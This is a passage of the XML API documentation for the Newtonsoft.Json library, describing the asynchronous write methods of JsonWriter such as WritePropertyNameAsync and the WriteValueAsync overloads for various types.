name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteNullAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a null value.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WritePropertyNameAsync(System.String,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the property name of a name/value pair of a JSON object.\n            </summary>\n            <param name=\"name\">The name of the property.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WritePropertyNameAsync(System.String,System.Boolean,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the property name of a name/value pair of a JSON object.\n            </summary>\n            <param name=\"name\">The name of the property.</param>\n            <param name=\"escape\">A flag to indicate whether the text should be escaped when it is written as a JSON property name.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteStartArrayAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the beginning of a JSON array.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteCommentAsync(System.String,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a comment <c>/*...*/</c> containing the specified text.\n            </summary>\n            <param name=\"text\">Text to place inside the comment.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteRawValueAsync(System.String,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes raw JSON where a value is expected and updates the writer's state.\n            </summary>\n            <param name=\"json\">The raw JSON to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteStartConstructorAsync(System.String,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the start of a constructor with the given name.\n            </summary>\n            <param name=\"name\">The name of the constructor.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteStartObjectAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the beginning of a JSON object.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteTokenAsync(Newtonsoft.Json.JsonReader,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the current <see cref=\"T:Newtonsoft.Json.JsonReader\"/> token.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read the token from.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteTokenAsync(Newtonsoft.Json.JsonReader,System.Boolean,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the current <see cref=\"T:Newtonsoft.Json.JsonReader\"/> token.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read the token from.</param>\n            <param name=\"writeChildren\">A flag indicating whether the current token's children should be written.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteTokenAsync(Newtonsoft.Json.JsonToken,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the <see cref=\"T:Newtonsoft.Json.JsonToken\"/> token and its value.\n            </summary>\n            <param name=\"token\">The <see cref=\"T:Newtonsoft.Json.JsonToken\"/> to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteTokenAsync(Newtonsoft.Json.JsonToken,System.Object,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the <see cref=\"T:Newtonsoft.Json.JsonToken\"/> token and its value.\n            </summary>\n            <param name=\"token\">The <see cref=\"T:Newtonsoft.Json.JsonToken\"/> to write.</param>\n            <param name=\"value\">\n            The value to write.\n            A value is only required for tokens that have an associated value, e.g. the <see cref=\"T:System.String\"/> property name for <see cref=\"F:Newtonsoft.Json.JsonToken.PropertyName\"/>.\n            <c>null</c> can be passed to the method for tokens that don't have a value, e.g. <see cref=\"F:Newtonsoft.Json.JsonToken.StartObject\"/>.\n            </param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Boolean,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.Boolean},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Boolean\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Boolean\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Byte,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Byte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.Byte},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Byte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Byte\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Byte[],System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Byte\"/>[] value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/>[] value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Char,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Char\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Char\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.Char},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Char\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Char\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.DateTime,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.DateTime\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTime\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.DateTime},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.DateTimeOffset,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.DateTimeOffset\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTimeOffset\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.DateTimeOffset},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Decimal,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Decimal\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Decimal\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.Decimal},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Double,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Double\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Double\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.Double},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Single,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Single\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Single\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.Single},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Single\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Single\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Guid,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Guid\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Guid\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.Guid},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Guid\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Guid\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Int32,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Int32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int32\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.Int32},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Int64,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Int64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int64\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.Int64},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int64\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Object,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Object\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.SByte,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.SByte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.SByte\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.SByte},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.SByte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.SByte\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Int16,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Int16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int16\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.Int16},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int16\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.String,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.String\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.String\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.TimeSpan,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.TimeSpan\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.TimeSpan\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.TimeSpan},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.TimeSpan\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.TimeSpan\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see 